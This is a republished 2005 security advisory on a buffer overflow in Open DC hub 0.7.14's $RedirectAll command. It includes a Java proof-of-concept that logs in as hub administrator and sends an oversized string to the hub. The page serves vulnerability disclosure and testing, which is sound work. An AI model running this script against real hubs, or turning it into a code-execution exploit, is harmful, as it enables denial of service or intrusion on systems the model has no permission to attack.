首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Open DC hub Buffer Overflow
来源:fdonato@autistici.org 作者:Donato 发布时间:2005-08-25  

Open DC hub Buffer Overflow ($RedirectAll)

Summary
"Open DC hub is a Unix/Linux version of the hub software for the Direct Connect network. Direct Connect is a file sharing network made up by hubs, to which clients can connect."

An attacker with administrator rights on the hub can exploit a vulnerability in the $RedirectAll command to cause the clients connected to the network to run arbitrary code on the victim machine.

Credit:
The information has been provided by Donato Ferrante.

Details
Vulnerable Systems:
* Open DC hub version 0.7.14

NOTE: To exploit the bug the attacker needs to have administrator privileges on the victim hub.

Proof of Concept:
/*
Open Dc Hub (0.7.14) - Buffer Overflow - Proof Of Concept
Coded by: Donato Ferrante
*/

import java.net.Socket;
import java.net.UnknownHostException;
import java.net.SocketTimeoutException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintStream;

public class OpenDcHub0714_BOF_poc {

private static int PORT = 53696;
private static int MAXSZ = 512;
private static String VERSION = "0.1";

public static void main(String [] args){

System.out.println(
"\n\n" +
"Open Dc Hub - Buffer Overflow - Proof Of Concept\n" +
"Version: " + VERSION + "\n" +
"coded by: Donato Ferrante\n" +
"e-mail: fdonato@autistici.org\n" +
"web: www.autistici.org/fdonato\n\n"
);

if(args.length <= 1){
System.out.println(
"Usage: java OpenDcHub0714_BOF_poc <host> <port> <admin_password>\n" +
"Note: default port is 53696.\n"
);
System.exit(-1);
}

String host = args[0];
String admin_password = args[args.length - 1];
int port = PORT;

try{
if(args.length > 2)
port = Integer.parseInt(args[1]);
}catch(Exception e){ port = PORT; }

try{

Socket socket = new Socket(host, port);
socket.setSoTimeout(10000);
BufferedReader in_stream = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintStream out_stream = new PrintStream(socket.getOutputStream());

System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());

System.out.println("Logging...");
out_stream.println("$adminpass " + admin_password +"|\n");

in_stream.readLine();
String err = in_stream.readLine();

if(err.toLowerCase().indexOf("bad") >= 0){
System.out.println("Login failed...");
System.out.println("Exiting...");
System.exit(-1);
}
else
System.out.println("Logged in...");


System.out.println("Building test string to inject...");
String buff = build();
Thread.sleep(1500);

System.out.println("Injecting test string...");
out_stream.println(buff);
Thread.sleep(1500);

System.out.println("Proof_Of_Concept terminated.");

}catch(SocketTimeoutException ste){System.out.println("Socket timeout."); System.exit(-1);}
catch(UnknownHostException uhe){ System.out.println("Host: " + host + " unknown.."); System.exit(-1); }
catch(InterruptedException ie){ System.out.println("Thread warning...");}
catch(Exception ioe){ System.out.println("Unable to create the socket!"); System.exit(-1);}


}


private static String build(){

String over = "";
for(int i = 0; i < MAXSZ; i++)
over += 0x61;

String ret = "$RedirectAll " + over + "|\n";
return ret;
}

}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Raising The Bar For Windows Ro
·WinAce Temporary File Handling
·Electronic Mail for UNIX (Elm)
·GTChat Remote Denial Of Servic
·MyBB finduser Search SQL Injec
·Ventrilo Denial of Service
·Sun Solaris printd Daemon Remo
·Home Ftp Server Multiple Vulne
·ShixxNote Buffer Overflow
·Operator Shell (osh) Buffer Ov
·The Lizard Cart CMS version 1.
·One Exploit Play More OS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved